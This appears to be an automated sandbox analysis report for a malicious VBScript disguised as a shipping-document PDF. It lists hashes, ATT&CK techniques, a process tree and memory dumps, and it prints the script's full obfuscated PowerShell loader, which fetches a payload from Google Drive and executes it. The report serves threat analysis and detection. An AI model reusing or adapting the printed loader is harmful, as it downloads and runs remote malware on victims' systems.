3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450

General

Target

SHIPPING DOCUMENT_PDF.vbs
Size

34KB
MD5

a6b12f631b09eb34cca4e10fbf1c7439
SHA1

0aacba2d2405b2cf27dc9faa06669c4f381c1d9a
SHA256

3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450
SHA512

76b40ad860e40028af3878c09d2160fc88ee5715afae412c5e8a1d11233bdc1ae459978b00ba1ff0d1eed638a396ec973130a009523886088e1c81019a64aadb
SSDEEP

384:XE/p5dFHav1y1TlJ+D3mrSh9sKrhtkdd/jJJEhMkCqB0HTP7/JQ:0/pRXb5Wn9rhtkdd/EhM3DxQ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	1980	WScript.exe
6	3124	powershell.exe
8	3124	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
6	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3124	powershell.exe
3124	powershell.exe
3124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3124	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 3124	1980	WScript.exe	73
PID 1980 wrote to memory of 3124	1980	WScript.exe	73
PID 3124 wrote to memory of 1780	3124	powershell.exe	75
PID 3124 wrote to memory of 1780	3124	powershell.exe	75

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING DOCUMENT_PDF.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Crossgrainedness = 1;$Consolidations='S';$Consolidations+='ubstrin';$Consolidations+='g';Function Pinligst242($Hexagyn){$Europrojektet=$Hexagyn.Length-$Crossgrainedness;For($Regningsarterne122=5;$Regningsarterne122 -lt $Europrojektet;$Regningsarterne122+=6){$Udspejdendes+=$Hexagyn.$Consolidations.Invoke( $Regningsarterne122, $Crossgrainedness);}$Udspejdendes;}function Sokes($Fablernes){& ($Arbejdsstederne) ($Fablernes);}$disconformably=Pinligst242 'Bana,M,cteno ,nogzp nkti do elMalaalEkskuaCar a/Under5treer.Count0ample B,nzi(M huaWunproi WekanAntiad EkspoTe.evwi telsTotal LinieNDoggiT eteo Ankus1Stati0 Vand.Nonco0R.tch;Sters KoaliWFlukti Misbn Afl 6 Ou f4studi;Sala, EntoxStaph6W.yla4Mdere;Sp ai FimsrDouchvVarm.:Tillg1Dr,ge2Varie1 ydri.Cheek0tyver) R so ,redG .dioeUrbefcUdlsnkAnve,oTilba/Vaske2Grena0.ekst1Tibia0 .avi0 ,urf1Purpo0Sphyg1Dybde S royFSammeiKnirkr afm esterlf Af roLookox hilo/Striv1Javan2Kated1j ngl.Abcsp0U,der ';$sundhedskommissioner=Pinligst242 'GelabUAmoursKatrie,caporAedea-SalliANyordg.ystee WattnEr vetKompl ';$Avowably=Pinligst242 ',nguih DesttKlovstToxitpOpdels Swel: Udel/Mods./Ass rdOutlir BombiSkil,v B eveUdvik.UncomgBundgo ffico NoddgRad,cl bereeAare..Ju efcSeksao F sim Snoo/ FolkugvinkcFutu.? MerseHaemoxTil.kpMasseoUnre,rA.optt Katt=Underd ,pleoHundrw Irrin RoislSkydeoKo onaHundedDiato&er itiGastrd skov=Timef1 HenlYMunketLamme4 UdskgBillehSkolasWahooZKobelTDdsdrbAlfedgParadCVoc.tK skruIferre8Sattv8 EpilWKonsuVskribbPreenmDep,rRVildtCVicev8 AfloHdisbaBGrimaoPinn,IEliciS BusduAndenNFlystWEllip4AlittKOvera ';$Hortorium=Pinligst242 'firep>Besmi ';$Arbejdsstederne=Pinligst242 'ScroliSt.ifePilnex Slac ';$Giggish='fielder';Sokes (Pinligst242 'UnimpSMislyeUerhotTmdet- .lteCKremeo unwonGainwt Parae forhnSt.iktzo el Clear-.unknPBi,teaPelvetKas,ehUdta, StephTModem:she,t\WrithD Sk,deFo,rtfEftereO,erlcPens.aB,ddetForbloStranrAdvis.IndbotRundkxAscent F.rv sa.le-FllesVKovaraFor.llAfblsuJuiceeD nin Overt$ObligG obaiGaufrgUndergFjolsiCrys,sPretyhWhats;Produ ');Sokes (Pinligst242 'Wirlii vaccfDomst Anigo( teletBrusheAbe.isOffict Til.-Amts,pStanda SlidtJenskhHaanl M,galTR ngs: Orie\ ochuDUnstue VertfPrefaeMariccEvneracswtotBypl.osvaltrLiney.OmgantUmusixSkn atindk,) Soup{Kredse Meikx,oldai Simptpalud} San.;Flu,r ');$peto = Pinligst242 ' MasseLordecDragthVa utoMater Aflu%TonefaUdsagpH lpepdesardConfaaForsit Insta Choo%tel.f\InundT Darkrpim eiBedriv HjlaiMeshwaSten lOplysiSe.estWhorieTeksttRustie.abrinNavnesTaste.MediekRobo.oBarsenSulfa Facia&Neddy&Konst TranseHennicUsaa,h GardoKniv U fl$Opini ';Sokes (Pinligst242 ' Cann$Op.olgSiphol,entgoFo,fab Sl,naSikkelFdsel:Ne vrCTankraEle,tl.annet Ov,rhErgonrFor ioparacp.unjc=spinu(PolyocKvindmBadeldC tto Tiddl/ Strgcbloka Horse$PrestpSel,zeTr aktSlvstoIzaak)L,ver ');Sokes (Pinligst242 ' Fugt$Cymesg Br tlFedteoBetjeb,fornaDolthlMulct:F,gleSK ibltDipl.rAfsteoVerdef.obbeiIndussHastik potp=Trans$Gurk,A,utsevO.ecroankylwUrbanaVe,bebM,snjlYttr yTokon.salgss TrvapBumbllgolfei.otentSmurt(Vrdik$ Yob,HBenkaoBarylrh,rset SyvsoTndstrD,lbeiudskru ThalmSemin)Afhst ');$Avowably=$Strofisk[0];Sokes (Pinligst242 'C,upu$KonsugOverwlFru goda.asbSublaaWagonlHaard:gironUSpatinS attdTrefoeBowshr vol,l R,stg ActigAnalyeNeutrnsymbodBoligeperidsOri.n= GaraN Arbee,ogmawFinge-AnaloOSyngnbPol oj KonteL plucUnerrtSmerv Pyr Sbeg,ly Lag sPh,totKrseleAlloemPatro.ForhaN etaceIncont,olar.S lfiWMi.roeKjoleb.tubmC Rarel ipteiFremoe barsnOpr,ltVarni ');Sokes (Pinligst242 'Mawky$ TubeU SavlnMaterdUncones,edjrSyvenlEyl,fg Monog Pilue Th.anEntredBr,mseSuasisAnraa.,eligHNon,nePresbaFlisedRotereStonerKron,sNonch[ Stud$Medi,s brneu uasinFr.ncdMatinhInveieAfmagdtelsos ma.ikBellioVa ormTela.mOverciTrffesColetsDestriP.ntio ,utrnRepu,eOpfinrCityt]Arveg=J ram$CentrdSpealiSwordsWallacLi ieomnst npropofVanemoL nderProsemStempaLakinbJi,belnytesyHalvf ');$Patao=Pinligst242 'unb.aUAzid.nfinjudBradyeNudisrElabolMe,ahgde azgUnbapeBolignOschedJenaseLlings Plum.ProtoD Bymso Darrw,fsavn MsinldokumoSansea adsd Eph.F .rediFo stlcalvaePneum( Stvl$Dem sAMode.vBespro.astrwBortgaE uisbKa melGrundyPseud, ,abi$,nsomHs.linoB,duimNo cooca,biePerryrFo,ieoVinyitkibesi SoldcForsk) Repr ';$Patao=$Calthrop[1]+$Patao;$Homoerotic=$Calthrop[0];Sokes (Pinligst242 ' in.e$PostogSeceslColonoReallbTrkgraRockelQuino:MeasuLGerm,eColimgHett,aCongetAfg si .catoskib,n RevoeHaan.r UkamnVkkele,idsisSuper8.orls0Ombes=Moca,(DelfiTDowncetr kks Bengt,hirl-San aPm untaKvajetEngelhHelis Readd$,artsHBanemoKapi,m GrupoAjlefeDiamar EvenoEnsomtRepe i Trelc Dumb) Sphe ');while (!$Legationernes80) {Sokes (Pinligst242 ' Unse$ DelfgVaebnlReorgoIodoebVand,aApokrlAspec:PrecoETeleftSouchiCa.cikFredskS,miceN,zisr Unjos comp= Slut$Rejset IsolrUrettuDisoreTyrke ') ;Sokes $Patao;Sokes (Pinligst242 'SympaS.andpt S.ipaColl,rtrendt Unca-MonitS BolilBemyneBilageAutoppImpre Myst4u pat ');Sokes (Pinligst242 'Unsul$Torpeg SenslT.ekkoTold bNont a Coell Ton,:ThermLEksotegadeagMilitaPyometalk,liTaplboAffyrn TereePseudrH idenMiswre DromsE,dys8 Manw0Indet=Scand(PlaywTDogede Nedss BlottUnsto-Noto,P BreaaO,krvtTol,vhFrkke Fugle$TelesH FjeroLejermM,todoSidereGu,tarI izeoBubbltP ofii Aeroc Unpr)Klemn ') ;Sokes (Pinligst242 'Astou$SadelgnightlAfskeo,kabsbOverda UnrelF rce:Tour,NOpdigoFaitsyKinetfOktavuIndv.lAhval=Tabo,$Sten.gBlokoloppa o SmagbMu.ika DatalCompu:Un.miJKultuuBarresMis vtBravoitrunkcNo.asi daala,elefr,coloyMisotsBuffohRattliA.tikp Sta,6Paast4Raast+S.ids+Indef%,ekla$Flui.SFundetEf err .veroStvsufSnderiOsrics.kolakOpr k.T.ykicMem,ro SluduRottenSpor.tslger ') ;$Avowably=$Strofisk[$Noyful];}Sokes (Pinligst242 'Mothe$PangagTje.slPerveoCockabRarelaTer,ilSvagb:P,ramTmisbia splekskippnDekedeIzaugmS.allm.equoe KlimlMateriBactegKomplh AktoeErkendBakissSkaft .ilmm=Overs TaarG TosseTeleftInder-ForynCGippeoNarthnRepubt MissebumsenSempitRefr, Se v$tomboHalt,ro D,mam BrndoSkr,de BramrSolipoMedictWhykeiZoolocHyldn ');Sokes (Pinligst242 'Filla$DollagT.eeklSpecioEnhedbKons a.randlDataf:WhumpSSs.sttPol.caMaybrlsulpha Bakkgnordum .retaKryst Sadne=Sy.pa ,ulsk[ UnfaSastraySterlsDan stMarkeeMelodmRette.Gl,ssCFa ilo LyttnSolbavPre.se InisrC,clitSko.j]Uncla: Chu,:Fo keFL,ndarBran,otilv.mLunnfBsnudea WaltsDisgaerideb6 Tita4La enSHa.dltTapi rMea oiIndenn olegAnato( Fan $ HinkTSkubbaAflsekMi,danAt erePassimTidsfmSlaa eJeapolTilhoiUnquagInda.hZoopheRhumbdAfgi.s ichi)skand ');Sokes (Pinligst242 'penne$ xtengscat,l notooPrescbBaandaTailslCoplo:PreprSkedgeaSkyttl Im.ugPseudsOmsttgPrec,aAmtsksF,men Telom=Turne perci[ KlarSSpermySponssKennitFo treSu,nym Fa,t.OverpT OvereRuth.xReasotHerba.fo,leESpaltn HrescKemoto SnerdMe taiCabl nBureag Sn s]malmi:Vlver:NjedeAUnd,rSV bisC InfiIB andITankr.ConfeGEscrie bac,tSyne.S Bro,tSu.plr LedniInfranDigamg ,udd(Al.uv$ nackS BalktHurt,aLaesnlDodekast,rvgDrik.mSl nga ,xul)Fr ca ');Sokes (Pinligst242 'Sdeba$OpinigSkvadlHaz aoTimotbHymieaHerrelFra,k:LeiotBG,ldelAcumeeUnwedeKrselrTilbyn ulpueFrid,sBr.vf= ,exa$LagerSNonblaBillel Adv gTypens uchig IndeaEkseksPreed.GuamasSyngnuVokalbFor,ksS,raatP,ther CeraiSmacknSympagColli(Strkn3Swo s1Infor0udgyd5Va ut7 U.sa1Pseud, Path2Paunc9Cont.5 Prer4sorce0Setip)Popul ');Sokes $Bleernes;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trivialitetens.kon && echo $"
    3⤵
    PID:1780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocxsd5fm.4j5.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3124-4-0x00007FFFCD883000-0x00007FFFCD884000-memory.dmp

Filesize
4KB

Download
memory/3124-9-0x0000018F29C80000-0x0000018F29CA2000-memory.dmp

Filesize
136KB

Download
memory/3124-12-0x00007FFFCD880000-0x00007FFFCE26C000-memory.dmp

Filesize
9.9MB

Download
memory/3124-13-0x00007FFFCD880000-0x00007FFFCE26C000-memory.dmp

Filesize
9.9MB

Download
memory/3124-14-0x0000018F42300000-0x0000018F42376000-memory.dmp

Filesize
472KB

Download
memory/3124-45-0x00007FFFCD880000-0x00007FFFCE26C000-memory.dmp

Filesize
9.9MB

Download
memory/3124-46-0x00007FFFCD880000-0x00007FFFCE26C000-memory.dmp

Filesize
9.9MB

Download
memory/3124-84-0x00007FFFCD880000-0x00007FFFCE26C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing